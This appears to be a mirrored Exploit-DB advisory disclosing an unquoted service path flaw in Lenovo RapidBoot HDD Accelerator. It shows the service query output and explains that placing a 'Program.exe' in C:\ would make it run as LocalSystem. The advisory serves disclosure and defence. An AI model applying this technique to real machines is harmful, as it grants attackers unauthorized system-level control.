Lenovo RapidBoot HDD Accelerator 1.00.0802 – Unquoted Service Path Privilege Escalation

• Exploit Database
• 33 阅读

• 作者： Joey Lane
  日期： 2016-10-19
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40580/

• # Exploit Title: Lenovo RapidBoot HDD Accelerator - Unquoted Service Path Privilege Escalation
  # Date: 10/19/2016
  # Exploit Author: Joey Lane
  # Version: 1.00.0802
  # Tested on: Windows 7 Professional
   
  The Lenovo RapidBoot HDD Accelerator service is installed with an unquoted service path.
  This enables a local privilege escalation vulnerability.
  To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.
  Rebooting the system or restarting the service will run the malicious executable with elevated privileges.
  
  This was tested on version 1.00.0802, but other versions may be affected as well.
   
   
  ---------------------------------------------------------------------------
   
  C:\>sc qc FastbootService 
  [SC] QueryServiceConfig SUCCESS 
  
  SERVICE_NAME: FastbootService 
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START 
  ERROR_CONTROL: 1 NORMAL 
  BINARY_PATH_NAME : C:\Program Files (x86)\Lenovo\RapidBoot HDD Accelerator\FBService.exe
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : FastbootService
  DEPENDENCIES : RPCSS
  SERVICE_START_NAME : LocalSystem
   
  ---------------------------------------------------------------------------
   
   
  EXAMPLE:
   
  Using the BINARY_PATH_NAME listed above as an example, an executable named
  "Program.exe" could be placed in "C:\", and it would be executed as the
  Local System user next time the service was restarted.